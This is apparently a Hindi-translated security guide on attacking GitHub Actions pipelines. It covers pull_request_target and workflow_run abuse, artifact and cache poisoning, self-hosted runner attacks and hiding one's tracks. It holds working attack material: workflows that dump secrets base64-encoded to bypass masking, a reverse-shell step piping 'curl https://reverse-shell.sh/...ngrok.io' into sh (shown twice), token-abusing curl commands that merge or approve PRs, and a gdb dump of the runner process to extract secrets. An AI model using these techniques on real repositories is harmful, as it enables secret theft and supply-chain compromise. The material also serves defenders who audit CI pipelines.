Abusing Github Actions

Reading time: 22 minutes

Basic Information

इस पृष्ठ पर आपको मिलेगा:

• एक सारांश सभी प्रभावों का जब एक हमलावर Github Action तक पहुँचने में सफल होता है
• एक्शन तक पहुँचने के विभिन्न तरीके:
• एक्शन बनाने के लिए अनुमतियाँ होना
• पुल अनुरोध से संबंधित ट्रिगर्स का दुरुपयोग करना
• अन्य बाहरी पहुँच तकनीकों का दुरुपयोग करना
• पहले से समझौता किए गए रिपॉजिटरी से पिवटिंग करना
• अंत में, एक अनुभाग एक्शन के अंदर से दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों के बारे में (क्योंकि उल्लेखित प्रभाव)

Impacts Summary

Github Actions के बारे में मूल जानकारी के लिए यहाँ देखें.

यदि आप GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं एक रिपॉजिटरी के भीतर, तो आप सक्षम हो सकते हैं:

• गुप्त जानकारी चुराना जो पाइपलाइन में माउंट की गई है और पाइपलाइन के विशेषाधिकारों का दुरुपयोग करना ताकि AWS और GCP जैसे बाहरी प्लेटफार्मों तक अनधिकृत पहुँच प्राप्त कर सकें।
• **डिप्लॉयमेंट्स और अन्य कलाकृतियों का समझौता करना।
• यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे आपूर्ति श्रृंखला हमले की अनुमति मिलती है।
• कस्टम वर्कर्स में कोड निष्पादित करना ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम पर पिवट किया जा सके।
• GITHUB_TOKEN से संबंधित अनुमतियों के आधार पर रिपॉजिटरी कोड को ओवरराइट करना।

GITHUB_TOKEN

यह "गुप्त" (जो ${{ secrets.GITHUB_TOKEN }} और ${{ github.token }} से आता है) तब दिया जाता है जब व्यवस्थापक इस विकल्प को सक्षम करता है:

यह टोकन वही है जो एक Github एप्लिकेशन उपयोग करेगा, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

आप इस टोकन की संभावित अनुमतियों को देख सकते हैं: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

ध्यान दें कि टोकन काम पूरा होने के बाद समाप्त हो जाता है।
ये टोकन इस तरह दिखते हैं: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की लॉग्स की जांच करके जांच कर सकें:

अनुमत निष्पादन

रिपॉजिटरी निर्माण से निष्पादन

यदि संगठन के सदस्य नए रिपॉजिटरी बना सकते हैं और आप Github क्रियाएँ निष्पादित कर सकते हैं, तो आप एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं।

नए शाखा से निष्पादन

यदि आप एक रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से एक Github Action कॉन्फ़िगर किया गया है, तो आप इसे संशोधित कर सकते हैं, सामग्री अपलोड कर सकते हैं, और फिर नई शाखा से उस क्रिया को निष्पादित कर सकते हैं। इस तरह आप रिपॉजिटरी और संगठन स्तर के रहस्यों को निकाल सकते हैं (लेकिन आपको यह जानना होगा कि उन्हें क्या कहा जाता है)।

आप संशोधित क्रिया को हाथ से निष्पादित कर सकते हैं, जब PR बनाया जाता है या जब कुछ कोड पुश किया जाता है (इस पर निर्भर करता है कि आप कितने शोर करना चाहते हैं):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

pull_request

कार्यप्रवाह ट्रिगर pull_request हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह पहली बार है जब आप सहयोग कर रहे हैं, तो कुछ रखरखावकर्ता को कार्यप्रवाह के चलाने को स्वीकृत करने की आवश्यकता होगी:

इसके अलावा, डिफ़ॉल्ट रूप से लिखने की अनुमति और गुप्त पहुंच को लक्षित रिपॉजिटरी में रोकता है जैसा कि docs में उल्लेख किया गया है:

GITHUB_TOKEN को छोड़कर, गुप्त को रनर को नहीं भेजा जाता जब कार्यप्रवाह एक फोर्क किए गए रिपॉजिटरी से ट्रिगर किया जाता है। **GITHUB_TOKEN में पुल अनुरोधों में पढ़ने की केवल अनुमति होती है फोर्क किए गए रिपॉजिटरी से।

एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने कार्यों को निष्पादित किया जा सके और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में असमर्थ होगा क्योंकि उल्लेखित सीमाएँ हैं।

चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही GITHUB_TOKEN पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए दुष्ट कलाकृतियों को अपलोड कर सकता है।

pull_request_target

कार्यप्रवाह ट्रिगर pull_request_target को लक्षित रिपॉजिटरी में लिखने की अनुमति और गुप्तों तक पहुंच होती है (और अनुमति नहीं मांगता)।

ध्यान दें कि कार्यप्रवाह ट्रिगर pull_request_target बेस संदर्भ में चलता है और PR द्वारा दिए गए संदर्भ में नहीं (ताकि अविश्वसनीय कोड निष्पादित न हो)। pull_request_target के बारे में अधिक जानकारी के लिए docs देखें।
इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस github ब्लॉग पोस्ट की जांच करें।

यह लग सकता है कि चूंकि निष्पादित कार्यप्रवाह वह है जो बेस में परिभाषित है और PR में नहीं है, इसलिए pull_request_target का उपयोग करना सुरक्षित है, लेकिन कुछ केस हैं जहाँ यह नहीं है।

और यह एक गुप्तों तक पहुंच होगी।

workflow_run

workflow_run ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह पूर्ण, अनुरोधित या प्रगति में हो।

इस उदाहरण में, एक कार्यप्रवाह को अलग "Run Tests" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

इसके अलावा, दस्तावेज़ों के अनुसार: workflow_run इवेंट द्वारा शुरू किया गया वर्कफ़्लो गुप्त कोड और टोकन लिखने तक पहुँच सकता है, भले ही पिछले वर्कफ़्लो नहीं था।

इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक वर्कफ़्लो पर निर्भर करता है जिसे एक बाहरी उपयोगकर्ता द्वारा pull_request या pull_request_target के माध्यम से प्रेरित किया जा सकता है। कुछ कमजोर उदाहरण इस ब्लॉग में। पहला उदाहरण workflow_run द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: ${{ github.event.pull_request.head.sha }}
दूसरा उदाहरण workflow_run वर्कफ़्लो में अविश्वसनीय कोड से एक कलाकृति पास करने और इस कलाकृति की सामग्री का उपयोग करने पर आधारित है, जिससे यह RCE के लिए कमजोर हो जाता है।

workflow_call

TODO

TODO: जांचें कि क्या pull_request से निष्पादित होने पर उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से

फोर्क किए गए निष्पादन का दुरुपयोग

हमने सभी तरीकों का उल्लेख किया है जिनसे एक बाहरी हमलावर एक गिटहब वर्कफ़्लो को निष्पादित करने में सक्षम हो सकता है, अब आइए देखें कि यदि ये निष्पादन, यदि गलत तरीके से कॉन्फ़िगर किए गए हैं, तो कैसे दुरुपयोग किया जा सकता है:

अविश्वसनीय चेकआउट निष्पादन

pull_request के मामले में, वर्कफ़्लो PR के संदर्भ में निष्पादित होगा (इसलिए यह दुष्ट PRs कोड को निष्पादित करेगा), लेकिन किसी को इसे पहले अधिकृत करना होगा और यह कुछ सीमाओं के साथ चलेगा।

यदि एक वर्कफ़्लो pull_request_target या workflow_run का उपयोग करता है जो एक वर्कफ़्लो पर निर्भर करता है जिसे pull_request_target या pull_request से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता।

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

संभावित रूप से अविश्वसनीय कोड npm install या npm build के दौरान चलाया जा रहा है क्योंकि निर्माण स्क्रिप्ट और संदर्भित पैकेज PR के लेखक द्वारा नियंत्रित हैं।

संदर्भ स्क्रिप्ट इंजेक्शन

ध्यान दें कि कुछ गिटहब संदर्भ हैं जिनके मान उपयोगकर्ता द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब क्रिया उस डेटा का उपयोग करके कुछ निष्पादित कर रही है, तो यह मनमाने कोड निष्पादन की ओर ले जा सकता है:

Gh Actions - Context Script Injections

GITHUB_ENV स्क्रिप्ट इंजेक्शन

दस्तावेज़ों से: आप किसी वर्कफ़्लो नौकरी में किसी भी बाद के चरणों के लिए एक पर्यावरण चर उपलब्ध करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे GITHUB_ENV पर्यावरण फ़ाइल में लिखकर।

यदि एक हमलावर इस env चर के अंदर कोई भी मान इंजेक्ट कर सकता है, तो वह ऐसे env चर इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकते हैं जैसे LD_PRELOAD या NODE_OPTIONS।

उदाहरण के लिए (यह और यह), कल्पना करें कि एक वर्कफ़्लो एक अपलोड की गई कलाकृति पर भरोसा कर रहा है ताकि इसकी सामग्री GITHUB_ENV env चर के अंदर संग्रहीत की जा सके। एक हमलावर इसे समझौता करने के लिए कुछ इस तरह अपलोड कर सकता है:

कमजोर तृतीय पक्ष गिटहब क्रियाएँ

dawidd6/action-download-artifact

जैसा कि इस ब्लॉग पोस्ट में उल्लेख किया गया है, यह गिटहब क्रिया विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुँचने की अनुमति देती है।

समस्या यह है कि यदि path पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में वर्कफ़्लो में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य वर्कफ़्लो को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं।

कमजोर वर्कफ़्लो का उदाहरण:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

इस वर्कफ़्लो के साथ हमला किया जा सकता है:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

अन्य बाहरी पहुँच

हटाए गए Namespace Repo Hijacking

यदि एक खाता अपना नाम बदलता है, तो कोई अन्य उपयोगकर्ता कुछ समय बाद उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि एक रिपॉजिटरी के पास नाम परिवर्तन से पहले 100 से कम सितारे थे, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक रिपॉजिटरी बनाने की अनुमति देगा जो हटाई गई थी।

यदि अन्य रिपॉजिटरी इस उपयोगकर्ता के रिपॉजिटरी से निर्भरताएँ का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक करने में सक्षम होगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

कैश पॉइज़निंग

एक कैश समान शाखा में वर्कफ़्लो रन के बीच बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर एक पैकेज को समझौता करता है जो फिर कैश में संग्रहीत होता है और डाउनलोड और अधिक विशेषाधिकार प्राप्त वर्कफ़्लो द्वारा निष्पादित होता है, तो वह उस वर्कफ़्लो को भी समझौता कर सकेगा।

GH Actions - Cache Poisoning

आर्टिफैक्ट पॉइज़निंग

वर्कफ़्लो अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स का उपयोग कर सकते हैं, यदि एक हमलावर उस Github Action को समझौता करने में सफल होता है जो एक आर्टिफैक्ट अपलोड करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह अन्य वर्कफ़्लो को समझौता कर सकता है:

Gh Actions - Artifact Poisoning

एक क्रिया से पोस्ट एक्सप्लॉइटेशन

OIDC के माध्यम से AWS और GCP तक पहुँच

निम्नलिखित पृष्ठों की जाँच करें:

AWS - Federation Abuse

GCP - Federation Abuse

रहस्यों तक पहुँच

यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं:

• यदि रहस्य या टोकन को पर्यावरण चर पर सेट किया गया है, तो इसे printenv का उपयोग करके सीधे पर्यावरण के माध्यम से पहुँचा जा सकता है।

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• यदि गुप्त को एक्सप्रेशन में सीधे उपयोग किया जाता है, तो उत्पन्न शेल स्क्रिप्ट ऑन-डिस्क संग्रहीत होती है और इसे एक्सेस किया जा सकता है।

cat /home/runner/work/_temp/*

- JavaScript क्रियाओं के लिए गुप्त और पर्यावरण चर के माध्यम से भेजे जाते हैं
- ```bash
ps axe | grep node

• एक कस्टम क्रिया के लिए, जोखिम इस बात पर निर्भर कर सकता है कि एक प्रोग्राम ने आर्गुमेंट से प्राप्त गुप्त का उपयोग कैसे किया:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

स्वयं-होस्टेड रनर्स का दुरुपयोग

यह पता लगाने का तरीका कि कौन सी Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं वह है कि Github Action कॉन्फ़िगरेशन yaml में runs-on: self-hosted के लिए खोजें।

स्वयं-होस्टेड रनर्स को अतिरिक्त संवेदनशील जानकारी तक पहुंच हो सकती है, अन्य नेटवर्क सिस्टम (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं और दुर्भावनापूर्ण एक दूसरे के गुप्त चुराने में सक्षम हो सकता है।

स्वयं-होस्टेड रनर्स में यह भी संभव है कि _Runner.Listener_** प्रक्रिया** से गुप्त प्राप्त करें जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके शामिल करेगा:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

चेक करें इस पोस्ट के लिए अधिक जानकारी।

Github Docker Images Registry

यह संभव है कि Github actions बनाई जाएं जो Github के अंदर एक Docker इमेज बनाएं और स्टोर करें।
एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:

[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री ghcr.io पर होस्ट की गई है।

एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर एक व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

फिर, उपयोगकर्ता Docker छवि परतों में लीक हुए रहस्यों के लिए खोज कर सकता है:

Docker Forensics - HackTricks

Github Actions लॉग में संवेदनशील जानकारी

यहां तक कि यदि Github गुप्त मानों का पता लगाने की कोशिश करता है और उन्हें दिखाने से बचता है, तो अन्य संवेदनशील डेटा जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक गुप्त मान के साथ हस्ताक्षरित है, तब तक छिपा नहीं होगा जब तक कि इसे विशेष रूप से कॉन्फ़िगर नहीं किया गया हो।

अपने निशान छुपाना

(तकनीक यहां से) सबसे पहले, कोई भी PR जो उठाया गया है, वह स्पष्ट रूप से Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम इंटरनेट से एक PR को हटा नहीं सकते, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो Github द्वारा निलंबित हैं, उनके सभी PRs स्वचालित रूप से हटा दिए जाते हैं और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छुपाने के लिए आपको या तो अपने GitHub खाते को निलंबित कराना होगा या अपने खाते को झंडा लगवाना होगा। यह आपकी सभी गतिविधियों को GitHub से इंटरनेट से छुपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा)

GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और आपके पास है, अपने शोषण को github पर अदृश्य बना दिया।

उपकरण

निम्नलिखित उपकरण GitHub Action वर्कफ़्लो खोजने और यहां तक कि कमजोर लोगों को खोजने के लिए उपयोगी हैं:

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda